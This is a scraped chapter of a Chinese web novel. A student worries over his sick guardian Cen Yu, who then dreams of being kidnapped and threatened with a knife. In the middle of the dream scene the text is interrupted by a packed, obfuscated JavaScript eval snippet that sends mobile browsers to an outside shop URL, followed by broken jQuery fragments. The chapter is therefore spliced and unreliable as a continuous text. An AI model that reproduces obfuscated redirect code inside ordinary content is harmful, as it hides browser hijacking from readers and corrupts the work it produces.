18. 第十八章
    顾宁疏奔回房间坐在床边,脑海里不断回放着岑誉穿着松松垮垮的浴袍从浴室走出来的场景,他的头发还滴着水珠,一路从眼尾滑落至脸颊隐入白皙细腻的胸膛里。

    还有那精致惑人的锁骨。

    顾宁疏疯狂摇着头,不敢再想了。他去洗手台用水狠狠扑湿了脸,凉意渐渐浇灭心头的火气。

    他手撑在洗手台上,睫毛沾湿的水沿着下巴滴落,最后无奈的闭上眼睛。

    ……

    第二天,太阳从阳台照进房间,岑誉挣扎了好半晌才皱着眉睁开眼。

    到底是谁说喝了醒酒汤不会头晕的?

    现在他不止头晕还全身都痛……

    还记得昨晚他和江年两个人都喝了酒,他更是醉的晕乎乎,两人叫了代驾就在路边傻乎乎等了半个钟。

    吸了吸不通气的鼻子,所以他现在是被吹感冒了?

    岑誉趴在床上根本不想起来,卷着被子抱在怀里,身上的睡衣被他睡的皱巴巴的,和他平时严谨稳重的样子大相径庭。

    顾宁疏推门进来就看到他这幅萎靡慵懒的样子,走过去坐在他床边推了推他的背。

    “你怎么了?”

    岑誉震了一下,快速把被子抖平盖好,转头就问:“你还没去学校吗?”

    顾宁疏看着他的动作,眼里的笑意一闪而过,听他说话哑着嗓子,又蹙起眉头伸手直接摸上他的额头,动作熟练的好像做了几百遍,岑誉感受到额头微凉的触感。

    有些舒服。

    “有点烫,你感冒了。”

    自己半夜出去喝酒,还喝醉了回来,第二天还感冒,真不知道该说他倒霉好还是作死好。

    反正挺丢脸的就是了。

    不好意思在顾宁疏面前继续赖床,岑誉有些不情愿起身靠在床头上,“没事,等下吃点药就好了。”看了下时间,他催促,“你快去学校,要迟到了。”

    顾宁疏拧着眉,咬着唇踌躇着说:“……要不我请假。”

    岑誉惊异:“为什么请假?”又想到自己,“你不会是因为我感冒想请假照顾我吧?”

    顾宁疏微微偏头,一副被说中了的模样,岑誉揶揄着看他,说:“我又不是小孩子还要照顾,我这感冒不用吃药都好了。”

    顾宁疏满脸不赞同,岑誉作投降状,“好好好,我会吃药的,你快去学校真的要迟到了。”

    岑誉掀开被子下床,把顾宁疏推出房间,顾宁疏被他推着往外走,只能说:“那我早点回来。”

    岑誉拒绝,“不行,你高三了要是成绩不好我让你好看!”

    顾宁疏只能无奈下楼,交代了管家才恋恋不舍的去学校。

    岑誉随便吃了点药,给林秘书打电话就在家里办公,反正一天不去公司也不会倒闭,昨晚折腾到三四点,他困得要死,药力上来他倒头就睡了过去。

    那个梦岑誉模模糊糊做了一个月,这次的感觉更加清晰了些。

    空旷的地面堆积着钢筋器材和各种各样的箱子,地面满是灰尘和沙粒,他手脚束缚着侧躺在地面上,细碎的沙子擦过脸颊的皮肤。

    有些疼。

    这是妥妥的被绑架了。

    耳边传来由远及近的脚步声,每一脚落地,他的心脏就升起一阵无边的恐惧感。

    岑誉在梦里没有做梦的意识,他完全代入了这个角色感受他所感受到的一切。

    不远处好像还有一个呜咽的声音,岑誉无暇去分辨,他现在只觉得冷还有饿和害怕。

    “醒了?”

    男人的声音异常冰冷,像刀子一样割在人身上,岑誉瑟缩着躲了一下。

    这是这具身体下意识的反应。

    岑誉想看这人是谁,抬头却愣住了。

    模糊的一片……

    可他看周围有看得无比清楚,这是怎么回事?

    岑誉拼命眯着眼睛,想要看清这人的模样。

    耳边传来一声冷嗤,“你信不信,你再看一眼我就把你眼睛挖出来——”

    岑誉惊恐的低下头,绑匪什么事情都做的出来,他现在不能惹怒他。

    “呜呜呜……”

    那道呜咽声又响起,脚步声朝那边走了过去,不到片刻就传来了踢打和呼痛的闷响。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722830|144884||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>岑誉下意识抖了抖,还没来得及庆幸男人没有打他,就听到“自己”说话了。

    “你不要动他,有什么冲我来!”

    现在拥有这个人全部感官的岑誉简直卧了个大槽。

    找死不用这么着急啊,你以为他会放过你吗?

    果不其然,那边的声音停了下来,伴随着冰冷悠长的“哦——”

    很显然他已经引起了这位施暴者的注意。

    皮鞋踏在地上,脚步慢悠悠的闲庭信步。这人很悠闲甚至很享受,有些故意看他们害怕惊恐的样子。

    ——这是个变态。

    岑誉下定结论。

    脚步声停在了面前,岑誉感受到那视线正打量着他,很清晰明显的鄙夷夹杂着极度的厌恶的视线在他身上逡巡。

    这人和这身体有仇!

    面前的人蹲了下来,一把冰凉锋利的刀刃拍在了他的脸上,看他动也不敢动,讥讽道:“既然你赶着找死,那我就成全你……”

    话刚说完,凌厉的脚风就扫向了岑誉的身体……

    “少爷!”

    岑誉猛地睁开眼睛,大口喘着粗气。

    他惊惶未定的眼睛偏头看向一旁的管家周伯。

    “少爷你刚才做噩梦了,一直在说梦话。”管家正拿着帕子给岑誉擦拭着额头的细汗,“发汗了就退烧了。”

    岑誉还没回过神,只觉得头疼的厉害,他问:“我怎么了?”

    “少爷你睡着后就发起了高烧,一直不醒还说梦话,还是陈医生过来给你吊了瓶水才退了烧。”

    岑誉看向阳台,外面已经黑成一片,他这是睡了一整天?

    “少爷是做噩梦了吗?”管家担心地问。

    “噩梦?”岑誉揉着太阳穴,“……我不记得了。”

    没印象了,只觉得心慌害怕。

    “那我去冲杯牛奶。”管家说完就起身出去。

    “宁疏还没回来吗?”岑誉突然问道。

    “小顾还没下晚自习。”

    岑誉点头又躺了回去,皱着眉头想要记起自己到底梦到了什么却完全想不起来。